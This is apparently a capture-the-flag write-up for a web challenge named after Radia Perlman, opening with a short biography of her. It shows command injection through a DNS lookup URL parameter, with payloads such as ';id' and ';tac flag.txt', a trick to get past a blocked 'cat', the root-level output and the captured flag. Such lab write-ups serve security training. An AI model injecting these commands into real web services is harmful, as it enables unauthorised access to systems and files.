Radia Perlman

Radia Joy Perlman

Radia Joy Perlman (/ˈreɪdiə/;[1] born December 18, 1951) is an American computer programmer and network engineer. She is a major figure in assembling the networks and technology to enable what we now know as the internet. She is most famous for her invention of the spanning-tree protocol (STP), which is fundamental to the operation of network bridges, while working for Digital Equipment Corporation, thus earning her nickname "Mother of the Internet". Her innovations have made a huge impact on how networks self-organize and move data. She also made large contributions to many other areas of network design and standardization: for example, enabling today's link-state routing protocols, to be more robust, scalable, and easy to manage. - Wikipedia Entry

Description

Chal: We thought we'd build a webapp to help the Mother of the Internet capture the flag.

Alternate (Better) Link: Webapp

Author: Rusheel

Solution

Radia-Perlman-1

Same as [Grace Hopper](

), when we execute dns request we get:

Command Output: Server: 127.0.0.11 
Address: 127.0.0.11#53 
Non-authoritative answer: 
Name: cyberheroines.ctfd.io 
Address: 165.227.251.182 
Name: cyberheroines.ctfd.io 
Address: 165.227.251.183

Command Output is interesting. What if dns quering isnt implemented by webapp, but is ran as command?

Payload: ;id
URL: https://cyberheroines-web-srv3.chals.io/dns?ip=;id
Command Output: uid=0(root) gid=0(root) groups=0(root)
Payload: ;ls -lah
URL: https://cyberheroines-web-srv3.chals.io/dns?ip=;ls+-lah # Space = "+" or %20 (URLEncoded)

Command Output: 
total 72K
drwxr-xr-x 1 root root 4.0K Aug 27 00:09 .
drwxr-xr-x 1 root root 4.0K Sep  9 12:49 ..
-rw-r--r-- 1 root root 8.1K Aug 27 00:08 .DS_Store
-rw-r--r-- 1 root root 1.4K Aug 25 17:11 code7.js
-rw-r--r-- 1 root root   41 Aug 25 21:38 flag.txt
drwxr-xr-x 1 root root 4.0K Aug 25 17:11 node_modules
-rw-r--r-- 1 root root  25K Aug 25 17:11 package-lock.json
-rw-r--r-- 1 root root  272 Aug 25 17:11 package.json
drwxr-xr-x 2 root root 4.0K Aug 26 23:34 public
drwxr-xr-x 2 root root 4.0K Aug 27 00:31 views

cat flag.txt didnt work, but tac flag.txt worked. tac

Payload: ;id
URL: https://cyberheroines-web-srv3.chals.io/dns?ip=;tac+flag.txt; 

Command Output:
chctf{1_l0v3_5p4wn1n6_n0d3_ch1ld_pr0c355}

Last updated